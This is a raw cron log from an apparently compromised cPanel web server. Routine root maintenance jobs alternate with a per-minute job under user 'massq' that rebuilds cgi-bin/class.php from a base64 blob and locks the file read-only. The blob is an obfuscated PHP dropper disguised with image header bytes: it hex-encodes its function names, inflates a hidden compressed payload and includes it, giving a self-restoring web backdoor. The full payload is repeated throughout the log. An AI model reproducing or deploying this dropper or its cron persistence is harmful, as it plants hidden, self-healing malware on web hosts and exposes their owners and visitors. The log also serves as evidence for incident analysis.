Sep  1 21:24:01 server CROND[10529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:25:01 server CROND[10909]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:25:01 server CROND[10914]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:25:01 server CROND[10913]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:25:01 server CROND[10923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:25:01 server CROND[10922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:25:01 server CROND[10929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:25:01 server CROND[10924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:26:01 server CROND[11744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:26:01 server CROND[11746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:26:01 server CROND[11745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:27:01 server CROND[12117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:27:01 server CROND[12118]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 21:27:01 server CROND[12121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:27:01 server CROND[12122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:28:01 server CROND[12526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:28:01 server CROND[12527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:28:01 server CROND[12529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:29:01 server CROND[13031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:29:01 server CROND[13032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:29:01 server CROND[13033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:30:01 server CROND[13441]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:30:01 server CROND[13445]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:30:01 server CROND[13448]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:30:01 server CROND[13446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:30:01 server CROND[13450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:30:01 server CROND[13447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:30:01 server CROND[13444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:30:01 server CROND[13449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:31:01 server CROND[14283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:31:01 server CROND[14285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:31:01 server CROND[14284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:32:01 server CROND[14655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:32:01 server CROND[14656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:32:01 server CROND[14657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:33:01 server CROND[15043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:33:01 server CROND[15044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:33:01 server CROND[15045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:34:01 server CROND[15535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:34:01 server CROND[15536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:34:01 server CROND[15537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:35:01 server CROND[15918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:35:01 server CROND[15919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:35:01 server CROND[15926]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 21:35:01 server CROND[15932]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 21:35:01 server CROND[15935]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:35:01 server CROND[15934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:35:01 server CROND[15937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:35:01 server CROND[15936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:35:01 server CROND[15933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
